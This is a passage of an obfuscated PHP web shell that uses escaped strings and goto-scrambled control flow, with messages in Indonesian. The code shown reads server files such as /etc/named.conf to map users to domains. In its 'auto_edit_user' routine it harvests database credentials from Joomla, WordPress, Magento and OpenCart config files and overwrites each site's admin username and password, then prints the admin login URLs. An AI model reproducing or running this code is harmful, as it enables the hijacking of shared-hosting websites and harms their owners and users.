"\\x5b\\x3c\\146\\157\\156\\x74\\40\\143\\x6f\\154\\157\\162\\x3d\\43\\61\\x38\\102\\x43\\x39\\103\\76\\x52\\74\\x2f\\146\\157\\x6e\\164\\x3e\\135\\40\\x3c\\x61\\x20\\x68\\x72\\x65\\x66\\x3d\\47\\77\\144\\151\\x72\\75{$user_jumping_dir}\\x27\\x3e\\x3c\\146\\157\\156\\164\\40\\x63\\x6f\\154\\x6f\\x72\\75\\x23\\61\\70\\x42\\x43\\71\\103\\76{$user_jumping_dir}\\x3c\\x2f\\x66\\x6f\\156\\164\\76\\x3c\\57\\x61\\76"; goto WmdV9; BDIDi: $i++; goto SYupx; RPyYW: echo $jrw; goto zZFgy; WmdV9: if (is_writable($user_jumping_dir)) { $jrw = "\\x5b\\74\\x66\\157\\x6e\\x74\\x20\\x63\\157\\x6c\\157\\162\\x3d\\x23\\x31\\x38\\102\\x43\\71\\x43\\76\\x52\\127\\x3c\\x2f\\x66\\x6f\\156\\164\\76\\135\\x20\\74\\x61\\x20\\x68\\x72\\x65\\x66\\75\\47\\x3f\\x64\\151\\162\\x3d{$user_jumping_dir}\\x27\\x3e\\x3c\\x66\\x6f\\156\\x74\\x20\\x63\\157\\154\\157\\x72\\75\\43\\61\\70\\x42\\103\\71\\x43\\x3e{$user_jumping_dir}\\74\\x2f\\x66\\x6f\\x6e\\x74\\76\\74\\x2f\\x61\\76"; } goto RPyYW; zZFgy: if (function_exists("\\x70\\157\\x73\\151\\x78\\x5f\\147\\145\\164\\160\\x77\\165\\x69\\x64")) { $domain_jump = file_get_contents("\\x2f\\x65\\x74\\143\\57\\x6e\\141\\x6d\\145\\x64\\x2e\\x63\\157\\156\\x66"); if ($domain_jump == \'\') { echo "\\x20\\x3d\\x3e\\x20\\x28\\40\\x3c\\146\\x6f\\x6e\\x74\\x20\\x63\\157\\x6c\\x6f\\162\\x3d\\x72\\x65\\144\\x3e\\x67\\x61\\x62\\x69\\163\\x61\\x20\\141\\155\\142\\x69\\154\\x20\\x6e\\x61\\x6d\\141\\x20\\x64\\x6f\\155\\141\\x69\\156\\x20\\156\\x79\\141\\x3c\\x2f\\146\\157\\156\\x74\\x3e\\x20\\51\\74\\142\\x72\\76"; } else { preg_match_all("\\x23\\x2f\\166\\141\\x72\\57\\x6e\\x61\\x6d\\145\\144\\x2f\\50\\56\\x2a\\x3f\\x29\\56\\144\\x62\\43", $domain_jump, $domains_jump); foreach ($domains_jump[1] as $dj) { goto tFUfp; MGXsF: $user_jumping_url = $user_jumping_url["\\156\\141\\155\\145"]; goto kTn30; kTn30: if ($user_jumping_url == $user_idx_jump) { echo "\\40\\75\\76\\x20\\50\\40\\x3c\\x75\\76{$dj}\\x3c\\x2f\\165\\76\\x20\\x29\\x3c\\x62\\162\\76"; break; } goto uM3Id; tFUfp: $user_jumping_url = posix_getpwuid(@fileowner("\\57\\145\\164\\143\\x2f\\x76\\141\\x6c\\x69\\x61\\x73\\x65\\x73\\57{$dj}")); goto MGXsF; uM3Id: } } } else { echo "\\74\\142\\162\\x3e"; } goto zScbg; zScbg: } } } } goto AWWtt; sLlh8: echo "\\x3c\\x70\\162\\145\\x3e"; goto pSbZC; fNjvQ: echo "\\x3c\\x2f\\160\\x72\\145\\x3e"; goto qn_IE; qn_IE: } goto Upkb4; Upkb4: echo "\\74\\x2f\\x64\\x69\\x76\\x3e"; goto CVPIA; nXLi2: $i = 0; goto EMdWC; CVPIA: } elseif ($_GET["\\x64\\x6f"] == "\\141\\165\\x74\\157\\137\\145\\144\\x69\\164\\137\\165\\163\\145\\162") { if ($_POST["\\x68\\x61\\152\\x61\\162"]) { if (strlen($_POST["\\x70\\x61\\163\\163\\137\\142\\141\\162\\x75"]) < 6 or strlen($_POST["\\165\\163\\x65\\162\\137\\142\\141\\x72\\165"]) < 6) { echo "\\x75\\163\\145\\162\\156\\x61\\x6d\\145\\40\\x61\\x74\\141\\165\\x20\\160\\x61\\x73\\x73\\167\\157\\162\\144\\40\\x68\\141\\x72\\x75\\163\\x20\\x6c\\145\\142\\151\\150\\x20\\144\\141\\x72\\151\\x20\\x36\\x20\\x6b\\141\\x72\\x61\\x6b\\x74\\145\\162"; } else { goto F9JuW; ordHj: $scan_conf = scandir($conf); goto noHT_; PkJ9i: $conf = $_POST["\\143\\x6f\\x6e\\146\\x69\\x67\\137\\x64\\x69\\162"]; goto ordHj; F9JuW: $user_baru = $_POST["\\165\\x73\\145\\x72\\x5f\\x62\\x61\\x72\\x75"]; goto JnfB3; JnfB3: $pass_baru = md5($_POST["\\160\\141\\x73\\x73\\x5f\\142\\x61\\162\\165"]); goto PkJ9i; noHT_: foreach ($scan_conf as $file_conf) { goto W5qre; W5qre: if (!is_file("{$conf}\\57{$file_conf}")) { continue; } goto OSC8S; OSC8S: $config = file_get_contents("{$conf}\\x2f{$file_conf}"); goto fVJ5g; fVJ5g: if (preg_match("\\57\\112\\103\\x6f\\x6e\\x66\\x69\\x67\\x7c\\152\\157\\157\\x6d\\154\\141\\57", $config)) { goto sB4_y; uwf1I: $dbprefix = ambilkata($config, "\\144\\142\\x70\\x72\\145\\x66\\151\\170\\x20\\x3d\\40\\x27", "\\47"); goto MS7c3; pYLSk: if ($site == \'\') { echo "\\x53\\x69\\x74\\145\\x6e\\x61\\155\\x65\\x20\\x3d\\x3e\\x20\\74\\x66\\157\\x6e\\164\\x20\\143\\157\\x6c\\x6f\\162\\x3d\\162\\x65\\x64\\x3e\\x65\\x72\\x72\\x6f\\162\\54\\x20\\147\\x61\\142\\x69\\x73\\141\\40\\141\\155\\x62\\151\\x6c\\x20\\x6e\\x61\\x6d\\141\\40\\x64\\x6f\\155\\x61\\151\\x6e\\x20\\x6e\\171\\x61\\x3c\\57\\x66\\157\\156\\164\\76\\x3c\\x62\\x72\\76"; } else { echo "\\x53\\x69\\x74\\145\\156\\141\\155\\145\\x20\\75\\x3e\\x20{$site}\\74\\142\\x72\\x3e"; } goto FbHzx; S4H_y: $dbuser = ambilkata($config, "\\165\\x73\\145\\x72\\x20\\x3d\\x20\\47", "\\47"); goto uWpWZ; IrwiB: $dbname = ambilkata($config, "\\144\\x62\\40\\x3d\\x20\\x27", "\\47"); goto uwf1I; amJga: $db = mysql_select_db($dbname); goto xOwGs; aXqOO: $result = mysql_fetch_array($q); goto BdNh5; xOwGs: $q = mysql_query("\\x53\\x45\\x4c\\105\\x43\\x54\\40\\x2a\\x20\\106\\x52\\117\\115\\x20{$prefix}\\40\\x4f\\x52\\104\\105\\x52\\40\\x42\\131\\40\\151\\144\\40\\101\\123\\x43"); goto aXqOO; BdNh5: $id = $result["\\151\\x64"]; goto qAB5P; eohJm: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto amJga; sB4_y: $dbhost = ambilkata($config, "\\x68\\157\\163\\164\\x20\\x3d\\x20\\x27", "\\47"); goto S4H_y; GPQVp: mysql_close($conn); goto LuhIW; MS7c3: $prefix = $dbprefix . "\\165\\x73\\145\\162\\163"; goto eohJm; qAB5P: $site = ambilkata($config, "\\x73\\151\\x74\\145\\x6e\\141\\155\\x65\\x20\\x3d\\x20\\x27", "\\47"); goto akRvM; uWpWZ: $dbpass = ambilkata($config, "\\x70\\141\\x73\\163\\x77\\x6f\\x72\\144\\40\\75\\40\\x27", "\\x27"); goto IrwiB; akRvM: $update = mysql_query("\\125\\x50\\104\\x41\\124\\105\\x20{$prefix}\\x20\\123\\105\\124\\x20\\x75\\x73\\x65\\162\\x6e\\141\\x6d\\145\\75\\x27{$user_baru}\\47\\x2c\\x70\\x61\\x73\\x73\\167\\157\\x72\\144\\75\\47{$pass_baru}\\47\\40\\x57\\x48\\x45\\x52\\105\\x20\\151\\x64\\x3d\\x27{$id}\\47"); goto gI4oo; FbHzx: if (!$update or !$conn or !$db) { echo "\\123\\x74\\x61\\164\\x75\\163\\40\\x3d\\x3e\\40\\74\\x66\\157\\x6e\\x74\\x20\\x63\\157\\x6c\\x6f\\162\\x3d\\x72\\x65\\x64\\76" . mysql_error() . "\\x3c\\57\\146\\x6f\\156\\164\\76\\74\\x62\\x72\\76\\74\\142\\x72\\76"; } else { echo "\\x53\\x74\\x61\\x74\\165\\x73\\x20\\75\\76\\40\\x3c\\146\\157\\156\\x74\\40\\143\\157\\x6c\\157\\x72\\75\\43\\61\\x38\\x42\\103\\71\\x43\\x3e\\x73\\x75\\x6b\\x73\\145\\163\\x20\\x65\\x64\\x69\\x74\\x20\\x75\\163\\145\\162\\54\\x20\\163\\151\\154\\141\\x6b\\x61\\x6e\\x20\\x6c\\157\\147\\151\\x6e\\x20\\144\\145\\156\\147\\141\\156\\40\\165\\x73\\145\\162\\x20\\x26\\x20\\x70\\x61\\x73\\163\\x20\\x79\\x61\\156\\x67\\40\\x62\\x61\\162\\165\\x2e\\x3c\\x2f\\x66\\157\\156\\x74\\x3e\\x3c\\x62\\x72\\x3e\\x3c\\142\\x72\\x3e"; } goto GPQVp; uM17X: echo "\\103\\115\\x53\\40\\75\\x3e\\40\\112\\x6f\\x6f\\x6d\\154\\141\\x3c\\142\\162\\76"; goto pYLSk; gI4oo: echo "\\x43\\157\\x6e\\x66\\151\\x67\\40\\x3d\\x3e\\x20" . $file_conf . "\\74\\x62\\x72\\x3e"; goto uM17X; LuhIW: } elseif (preg_match("\\x2f\\x57\\157\\162\\144\\x50\\162\\145\\163\\x73\\57", $config)) { goto P4HIG; cVWbJ: $q = mysql_query("\\x53\\x45\\x4c\\x45\\103\\124\\40\\x2a\\x20\\x46\\122\\x4f\\x4d\\40{$prefix}\\40\\x4f\\x52\\x44\\x45\\122\\40\\102\\131\\40\\151\\x64\\40\\x41\\123\\x43"); goto CyZnZ; Q04is: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto DV6Am; CPPLp: $q2 = mysql_query("\\123\\105\\x4c\\x45\\x43\\x54\\40\\x2a\\40\\106\\122\\117\\x4d\\40{$option}\\40\\x4f\\122\\x44\\x45\\x52\\40\\x42\\131\\40\\x6f\\160\\164\\x69\\x6f\\x6e\\137\\x69\\x64\\40\\101\\x53\\103"); goto kpQ3W; z3JtF: if (!$update or !$conn or !$db) { echo "\\123\\164\\x61\\x74\\x75\\163\\x20\\75\\x3e\\40\\74\\146\\x6f\\x6e\\164\\x20\\143\\x6f\\x6c\\157\\x72\\x3d\\162\\145\\144\\76" . mysql_error() . "\\x3c\\x2f\\146\\x6f\\156\\x74\\x3e\\74\\142\\162\\76\\74\\142\\162\\76"; } else { echo "\\x53\\x74\\x61\\x74\\165\\x73\\40\\75\\76\\x20\\x3c\\x66\\x6f\\156\\x74\\40\\x63\\157\\154\\x6f\\162\\x3d\\x23\\61\\x38\\x42\\x43\\x39\\103\\x3e\\x73\\165\\153\\163\\x65\\163\\40\\145\\144\\151\\164\\40\\165\\x73\\x65\\162\\x2c\\x20\\x73\\x69\\x6c\\141\\x6b\\141\\156\\x20\\x6c\\157\\x67\\151\\156\\x20\\144\\x65\\x6e\\147\\x61\\x6e\\x20\\x75\\x73\\x65\\162\\x20\\46\\40\\x70\\141\\x73\\163\\40\\x79\\141\\156\\x67\\x20\\142\\x61\\162\\x75\\x2e\\74\\57\\146\\x6f\\156\\164\\76\\74\\142\\x72\\76\\x3c\\x62\\162\\x3e"; } goto T0jsf; Lil_U: $id = $result[ID]; goto CPPLp; fwBNL: echo $url_target; goto z3JtF; jFUkR: $target = $result2[option_value]; goto hfKdg; GWRAa: $update = mysql_query("\\x55\\120\\104\\x41\\x54\\x45\\x20{$prefix}\\40\\x53\\105\\124\\x20\\x75\\163\\x65\\x72\\x5f\\x6c\\157\\x67\\x69\\x6e\\75\\47{$user_baru}\\47\\54\\165\\x73\\x65\\x72\\137\\x70\\141\\163\\x73\\x3d\\47{$pass_baru}\\x27\\40\\x57\\x48\\105\\122\\x45\\40\\151\\144\\x3d\\x27{$id}\\x27"); goto aC9gG; hfKdg: if ($target == \'\') { $url_target = "\\114\\157\\x67\\x69\\x6e\\x20\\x3d\\76\\x20\\74\\x66\\x6f\\156\\164\\40\\143\\x6f\\x6c\\157\\162\\x3d\\162\\x65\\x64\\x3e\\145\\x72\\x72\\157\\162\\x2c\\40\\147\\141\\142\\151\\163\\141\\40\\141\\155\\x62\\151\\154\\x20\\156\\x61\\155\\x61\\x20\\x64\\157\\x6d\\x61\\x69\\x6e\\x20\\x6e\\171\\141\\x61\\x3c\\x2f\\x66\\x6f\\x6e\\x74\\76\\x3c\\x62\\162\\76"; } else { $url_target = "\\x4c\\x6f\\x67\\151\\x6e\\x20\\x3d\\76\\40\\x3c\\141\\40\\150\\162\\x65\\x66\\x3d\\x27{$target}\\x2f\\x77\\160\\x2d\\x6c\\157\\x67\\151\\156\\x2e\\x70\\x68\\x70\\47\\x20\\164\\x61\\162\\x67\\145\\164\\75\\47\\137\\142\\x6c\\141\\156\\x6b\\47\\76\\x3c\\x75\\x3e{$target}\\x2f\\x77\\160\\x2d\\154\\157\\147\\151\\x6e\\x2e\\x70\\150\\x70\\74\\57\\x75\\76\\74\\x2f\\x61\\x3e\\x3c\\142\\162\\x3e"; } goto GWRAa; CyZnZ: $result = mysql_fetch_array($q); goto Lil_U; t1Ewq: echo "\\103\\x4d\\123\\x20\\x3d\\x3e\\40\\127\\x6f\\x72\\144\\x70\\x72\\145\\x73\\163\\74\\x62\\162\\x3e"; goto fwBNL; J3_Nz: $dbprefix = ambilkata($config, "\\164\\x61\\142\\154\\145\\137\\160\\x72\\x65\\146\\x69\\170\\40\\x3d\\x20\\47", "\\x27"); goto wER_J; kpQ3W: $result2 = mysql_fetch_array($q2); goto jFUkR; T0jsf: mysql_close($conn); goto qyM2o; vViSl: $option = $dbprefix . "\\x6f\\160\\x74\\x69\\157\\x6e\\x73"; goto Q04is; HGPP8: $dbname = ambilkata($config, "\\x44\\x42\\x5f\\x4e\\101\\115\\x45\\47\\x2c\\x20\\47", "\\x27"); goto J3_Nz; DV6Am: $db = mysql_select_db($dbname); goto cVWbJ; aC9gG: echo "\\x43\\x6f\\x6e\\x66\\x69\\x67\\x20\\75\\76\\40" . $file_conf . "\\x3c\\x62\\x72\\76"; goto t1Ewq; wER_J: $prefix = $dbprefix . "\\x75\\x73\\145\\162\\x73"; goto vViSl; x8k_1: $dbuser = ambilkata($config, "\\104\\x42\\137\\125\\123\\105\\122\\47\\x2c\\40\\x27", "\\47"); goto t2tC1; P4HIG: $dbhost = ambilkata($config, "\\x44\\102\\x5f\\110\\x4f\\123\\124\\x27\\x2c\\40\\47", "\\x27"); goto x8k_1; t2tC1: $dbpass = ambilkata($config, "\\104\\102\\137\\120\\x41\\x53\\123\\x57\\117\\122\\x44\\47\\x2c\\x20\\x27", "\\47"); goto HGPP8; qyM2o: } elseif (preg_match("\\57\\115\\141\\147\\145\\x6e\\164\\x6f\\174\\115\\141\\147\\145\\137\\103\\x6f\\162\\x65\\x2f", $config)) { goto dXpAA; TECv3: $id = $result[user_id]; goto WRIWw; P_hJx: $target = $result2[value]; goto xjzP3; PeO87: echo "\\x43\\115\\x53\\40\\x3d\\x3e\\40\\115\\141\\x67\\x65\\x6e\\x74\\157\\74\\x62\\x72\\x3e"; goto GxC2I; GxC2I: echo $url_target; goto lIqFF; NpeeC: echo "\\x43\\157\\x6e\\x66\\x69\\x67\\x20\\x3d\\76\\40" . $file_conf . "\\74\\142\\x72\\76"; goto PeO87; Xr3GG: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto JdGEl; jMIjA: $dbprefix = ambilkata($config, "\\74\\164\\x61\\x62\\154\\145\\137\\160\\x72\\145\\x66\\x69\\x78\\76\\74\\41\\x5b\\103\\x44\\101\\x54\\101\\x5b", "\\135\\135\\x3e\\x3c\\x2f\\x74\\141\\x62\\154\\x65\\x5f\\160\\162\\x65\\x66\\151\\170\\76"); goto ArRQy; sOjez: mysql_close($conn); goto tpccc; WRIWw: $q2 = mysql_query("\\x53\\x45\\114\\x45\\x43\\124\\x20\\x2a\\x20\\106\\x52\\117\\115\\x20{$option}\\x20\\x57\\110\\x45\\122\\105\\x20\\160\\141\\x74\\x68\\x3d\\x27\\167\\x65\\142\\x2f\\163\\x65\\143\\x75\\x72\\x65\\57\\x62\\x61\\163\\x65\\x5f\\165\\162\\x6c\\47"); goto juh1P; juh1P: $result2 = mysql_fetch_array($q2); goto P_hJx; fQh2s: $dbuser = ambilkata($config, "\\74\\x75\\163\\145\\162\\156\\141\\155\\x65\\x3e\\74\\x21\\x5b\\103\\104\\101\\124\\x41\\x5b", "\\135\\135\\76\\x3c\\x2f\\x75\\163\\145\\x72\\156\\141\\155\\x65\\76"); goto fGVqF; dXpAA: $dbhost = ambilkata($config, "\\x3c\\x68\\157\\163\\x74\\x3e\\x3c\\x21\\133\\x43\\104\\x41\\124\\101\\x5b", "\\x5d\\135\\x3e\\74\\x2f\\x68\\157\\x73\\164\\76"); goto fQh2s; xjzP3: if ($target == \'\') { $url_target = "\\x4c\\x6f\\147\\151\\x6e\\x20\\75\\76\\x20\\x3c\\146\\157\\156\\164\\x20\\143\\157\\154\\157\\162\\x3d\\x72\\145\\144\\x3e\\145\\x72\\x72\\x6f\\162\\54\\40\\x67\\141\\142\\x69\\x73\\141\\x20\\141\\x6d\\142\\151\\154\\x20\\156\\x61\\x6d\\141\\x20\\x64\\x6f\\155\\141\\151\\156\\40\\156\\171\\x61\\141\\x3c\\x2f\\x66\\x6f\\x6e\\x74\\x3e\\74\\x62\\x72\\x3e"; } else { $url_target = "\\x4c\\157\\x67\\x69\\156\\x20\\x3d\\x3e\\x20\\x3c\\x61\\x20\\x68\\x72\\145\\146\\75\\47{$target}\\x2f\\141\\144\\155\\151\\x6e\\x2f\\x27\\40\\164\\x61\\162\\147\\x65\\164\\x3d\\47\\x5f\\x62\\x6c\\x61\\156\\x6b\\x27\\x3e\\74\\165\\x3e{$target}\\57\\x61\\x64\\155\\151\\x6e\\57\\74\\57\\x75\\76\\74\\x2f\\141\\x3e\\74\\142\\x72\\x3e"; } goto B6eco; B6eco: $update = mysql_query("\\x55\\x50\\x44\\x41\\x54\\105\\40{$prefix}\\40\\x53\\105\\124\\40\\x75\\x73\\145\\x72\\x6e\\x61\\x6d\\145\\75\\x27{$user_baru}\\47\\x2c\\x70\\141\\163\\x73\\167\\x6f\\162\\x64\\75\\x27{$pass_baru}\\47\\x20\\127\\110\\x45\\122\\x45\\40\\165\\x73\\145\\x72\\x5f\\x69\\x64\\x3d\\47{$id}\\x27"); goto NpeeC; cIM0V: $option = $dbprefix . "\\x63\\157\\x72\\x65\\x5f\\x63\\157\\x6e\\146\\151\\147\\x5f\\x64\\x61\\x74\\141"; goto Xr3GG; JdGEl: $db = mysql_select_db($dbname); goto P3t2L; eS2np: $dbname = ambilkata($config, "\\74\\144\\x62\\156\\141\\155\\145\\x3e\\74\\x21\\133\\x43\\104\\x41\\124\\101\\x5b", "\\135\\x5d\\x3e\\74\\x2f\\x64\\x62\\x6e\\x61\\155\\x65\\76"); goto jMIjA; P3t2L: $q = mysql_query("\\x53\\105\\114\\105\\103\\124\\40\\x2a\\40\\106\\122\\117\\115\\40{$prefix}\\x20\\117\\x52\\x44\\105\\x52\\40\\x42\\131\\x20\\x75\\x73\\145\\x72\\137\\x69\\144\\x20\\101\\x53\\103"); goto WWlhg; ArRQy: $prefix = $dbprefix . "\\x61\\x64\\155\\151\\x6e\\x5f\\x75\\x73\\x65\\x72"; goto cIM0V; lIqFF: if (!$update or !$conn or !$db) { echo "\\123\\164\\141\\x74\\165\\x73\\40\\x3d\\76\\40\\x3c\\146\\157\\156\\x74\\40\\143\\x6f\\154\\157\\162\\x3d\\x72\\145\\x64\\x3e" . mysql_error() . "\\74\\x2f\\x66\\x6f\\x6e\\x74\\76\\74\\142\\162\\76\\74\\x62\\162\\x3e"; } else { echo "\\123\\x74\\141\\164\\165\\163\\40\\75\\x3e\\40\\x3c\\x66\\x6f\\156\\164\\x20\\x63\\157\\x6c\\157\\x72\\x3d\\x23\\x31\\x38\\x42\\x43\\x39\\103\\x3e\\163\\165\\153\\163\\x65\\x73\\40\\145\\144\\151\\164\\40\\165\\163\\x65\\x72\\x2c\\x20\\x73\\x69\\154\\x61\\x6b\\141\\x6e\\40\\154\\x6f\\147\\x69\\156\\x20\\144\\x65\\156\\147\\x61\\x6e\\40\\165\\x73\\x65\\162\\40\\46\\x20\\x70\\141\\163\\x73\\x20\\x79\\x61\\156\\x67\\40\\142\\x61\\162\\165\\56\\x3c\\x2f\\x66\\x6f\\156\\164\\76\\x3c\\x62\\162\\76\\74\\x62\\162\\x3e"; } goto sOjez; WWlhg: $result = mysql_fetch_array($q); goto TECv3; fGVqF: $dbpass = ambilkata($config, "\\x3c\\x70\\141\\x73\\x73\\167\\x6f\\x72\\x64\\76\\x3c\\x21\\133\\103\\x44\\x41\\x54\\x41\\133", "\\135\\x5d\\x3e\\x3c\\57\\160\\x61\\163\\x73\\x77\\157\\x72\\x64\\76"); goto eS2np; tpccc: } elseif (preg_match("\\x2f\\x48\\124\\x54\\x50\\137\\x53\\105\\122\\x56\\x45\\122\\x7c\\x48\\124\\x54\\120\\137\\x43\\101\\124\\x41\\x4c\\117\\x47\\174\\104\\x49\\x52\\137\\x43\\x4f\\116\\x46\\x49\\x47\\x7c\\x44\\111\\x52\\137\\123\\131\\123\\x54\\105\\x4d\\57", $config)) { goto xPyPG; buZMM: $dbpass = ambilkata($config, "\\47\\104\\102\\x5f\\x50\\101\\x53\\x53\\127\\x4f\\x52\\104\\x27\\54\\x20\\x27", "\\47"); goto YMcoe; YMcoe: $dbname = ambilkata($config, "\\x27\\x44\\x42\\137\\104\\x41\\124\\x41\\x42\\x41\\123\\105\\x27\\54\\x20\\47", "\\x27"); goto urz7g; KUd7b: if (!$update or !$conn or !$db) { echo "\\123\\164\\x61\\x74\\165\\x73\\40\\75\\76\\x20\\74\\x66\\x6f\\156\\164\\x20\\143\\157\\x6c\\157\\x72\\75\\162\\x65\\x64\\76" . mysql_error() . "\\74\\57\\146\\x6f\\156\\164\\76\\x3c\\142\\x72\\76\\74\\142\\x72\\76"; } else { echo "\\123\\x74\\x61\\164\\x75\\x73\\40\\75\\x3e\\40\\74\\x66\\157\\156\\164\\x20\\x63\\x6f\\154\\x6f\\162\\75\\43\\x31\\x38\\102\\103\\71\\x43\\x3e\\163\\165\\153\\163\\x65\\x73\\x20\\145\\x64\\x69\\164\\x20\\165\\x73\\x65\\162\\x2c\\x20\\163\\x69\\x6c\\141\\153\\x61\\156\\40\\x6c\\x6f\\147\\x69\\x6e\\40\\144\\145\\156\\x67\\141\\156\\40\\x75\\163\\145\\162\\40\\46\\x20\\x70\\x61\\163\\163\\x20\\x79\\141\\x6e\\x67\\x20\\x62\\141\\x72\\x75\\56\\x3c\\x2f\\146\\157\\156\\x74\\x3e\\x3c\\142\\162\\x3e\\74\\x62\\162\\x3e"; } goto H2_fG; a9jyk: if ($target == \'\') { $url_target = "\\114\\x6f\\x67\\151\\x6e\\x20\\75\\x3e\\x20\\x3c\\146\\x6f\\156\\x74\\x20\\x63\\x6f\\x6c\\157\\162\\x3d\\162\\x65\\x64\\76\\x65\\162\\162\\157\\162\\54\\40\\x67\\x61\\142\\151\\x73\\x61\\x20\\141\\155\\x62\\x69\\154\\x20\\x6e\\141\\x6d\\x61\\x20\\144\\x6f\\x6d\\141\\151\\x6e\\x20\\156\\x79\\x61\\x61\\74\\x2f\\146\\157\\156\\x74\\x3e\\x3c\\x62\\162\\x3e"; } else { $url_target = "\\114\\x6f\\147\\151\\156\\x20\\x3d\\x3e\\x20\\74\\x61\\x20\\x68\\x72\\145\\146\\x3d\\47{$target}\\x27\\x20\\164\\141\\162\\x67\\145\\x74\\x3d\\x27\\137\\x62\\154\\x61\\x6e\\153\\x27\\76\\x3c\\165\\76{$target}\\74\\57\\x75\\x3e\\74\\x2f\\x61\\x3e\\74\\142\\162\\x3e"; } goto nSzZ5; s9hVC: $id = $result[user_id]; goto GvKKZ; bDL_C: $db = mysql_select_db($dbname); goto hGBXd; xPyPG: $dbhost = ambilkata($config, "\\x27\\104\\x42\\137\\x48\\117\\x53\\124\\116\\x41\\115\\x45\\x27\\x2c\\x20\\x27", "\\47"); goto rfSk8; C267q: echo $url_target; goto KUd7b; hGBXd: $q = mysql_query("\\x53\\105\\114\\105\\x43\\124\\x20\\52\\x20\\106\\122\\x4f\\115\\40{$prefix}\\x20\\117\\x52\\104\\105\\x52\\40\\x42\\131\\40\\x75\\163\\x65\\162\\137\\151\\x64\\40\\x41\\x53\\x43"); goto mrJeI; rfSk8: $dbuser = ambilkata($config, "\\x27\\104\\102\\x5f\\125\\x53\\x45\\x52\\116\\101\\115\\105\\x27\\x2c\\40\\47", "\\x27"); goto buZMM; mrJeI: $result = mysql_fetch_array($q); goto s9hVC; qEzDc: $prefix = $dbprefix . "\\165\\x73\\x65\\x72"; goto r_KaN; H2_fG: mysql_close($conn); goto d0UIr; oJQdz: echo "\\103\\x6f\\156\\146\\151\\x67\\40\\x3d\\x3e\\40" . $file_conf . "\\x3c\\142\\162\\76"; goto IaFK_; r_KaN: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto bDL_C; IaFK_: echo "\\x43\\115\\123\\x20\\x3d\\x3e\\40\\x4f\\160\\x65\\156\\103\\x61\\162\\x74\\x3c\\142\\x72\\x3e"; goto C267q; urz7g: $dbprefix = ambilkata($config, "\\x27\\104\\x42\\137\\x50\\122\\x45\\106\\x49\\130\\47\\54\\40\\x27", "\\47"); goto qEzDc; nSzZ5: $update = mysql_query("\\x55\\x50\\104\\101\\124\\x45\\40{$prefix}\\40\\123\\x45\\124\\40\\165\\x73\\145\\x72\\x6e\\141\\x6d\\145\\x3d\\47{$user_baru}\\47\\x2c\\x70\\141\\163\\x73\\x77\\x6f\\162\\144\\75\\47{$pass_baru}\\47\\40\\127\\x48\\105\\x52\\105\\x20\\165\\x73\\x65\\162\\137\\151\\144\\x3d\\47{$id}\\x27"); goto oJQdz; GvKKZ: $target = ambilkata($config, "\\110\\124\\124\\120\\x5f\\123\\105\\122\\126\\105\\x52\\x27\\x2c\\40\\47", "\\47"); goto a9jyk; d0UIr: } elseif (preg_match("\\x2f\\x70\\141\\x6e\\147\\147\\x69\\x6c\\40\\146\\x75\\156\\x67\\163\\151\\40\\166\\141\\x6c\\x69\\x64\\141\\163\\x69\\x20\\x78\\x73\\163\\x20\\x64\\141\\x6e\\x20\\x69\\x6e\\x6a\\145\\x63\\164\\151\\x6f\\x6e\\x2f", $config)) { goto qy_YD; rUXoR: if ($target == \'\') { goto ferOq; ferOq: $target2 = $result[url]; goto IgJaH; bxUyB: if ($target2 == \'\') { $url_target2 = "\\114\\157\\147\\x69\\156\\x20\\75\\x3e\\40\\x3c\\x66\\x6f\\x6e\\164\\x20\\x63\\157\\154\\157\\162\\75\\162\\145\\144\\76\\145\\162\\x72\\x6f\\x72\\x2c\\40\\x67\\x61\\x62\\x69\\163\\141\\40\\x61\\x6d\\142\\x69\\154\\x20\\x6e\\141\\x6d\\x61\\40\\x64\\157\\155\\x61\\151\\x6e\\x20\\156\\x79\\x61\\141\\x3c\\x2f\\x66\\157\\x6e\\164\\76\\74\\142\\x72\\76"; } else { goto boUPa; eMNKY: if (preg_match("\\x2f\\x43\\115\\123\\x20\\x4c\\157\\x6b\\x6f\\x6d\\145\\144\\151\\x61\\x7c\\101\\x64\\x6d\\x69\\156\\151\\163\\x74\\162\\141\\x74\\157\\162\\x2f", $cek_login3)) { $url_target2 = "\\x4c\\157\\x67\\x69\\156\\40\\x3d\\x3e\\x20\\74\\x61\\x20\\x68\\x72\\x65\\146\\x3d\\x27{$target2}\\57\\141\\144\\155\\x69\\x6e\\x77\\x65\\142\\x27\\40\\164\\141\\162\\x67\\145\\x74\\x3d\\47\\x5f\\x62\\x6c\\x61\\x6e\\x6b\\x27\\76\\x3c\\x75\\x3e{$target2}\\x2f\\141\\x64\\155\\x69\\x6e\\x77\\145\\x62\\74\\57\\165\\x3e\\74\\57\\141\\x3e\\74\\142\\x72\\76"; } elseif (preg_match("\\x2f\\x43\\115\\x53\\x20\\x4c\\157\\153\\x6f\\x6d\\145\\144\\x69\\x61\\x7c\\114\\157\\153\\157\\155\\x65\\144\\151\\x61\\x2f", $cek_login4)) { $url_target2 = "\\x4c\\x6f\\147\\151\\156\\x20\\x3d\\76\\40\\x3c\\141\\x20\\150\\x72\\x65\\x66\\x3d\\x27{$target2}\\x2f\\x6c\\x6f\\x6b\\x6f\\155\\145\\x64\\151\\141\\x2f\\141\\144\\x6d\\x69\\x6e\\167\\145\\142\\x27\\40\\164\\141\\x72\\147\\145\\164\\75\\x27\\x5f\\x62\\x6c\\x61\\x6e\\153\\x27\\x3e\\x3c\\x75\\x3e{$target2}\\x2f\\x6c\\x6f\\x6b\\x6f\\155\\145\\144\\151\\x61\\x2f\\141\\x64\\x6d\\x69\\156\\167\\x65\\x62\\74\\x2f\\x75\\x3e\\74\\x2f\\x61\\x3e\\74\\142\\162\\76"; } else { $url_target2 = 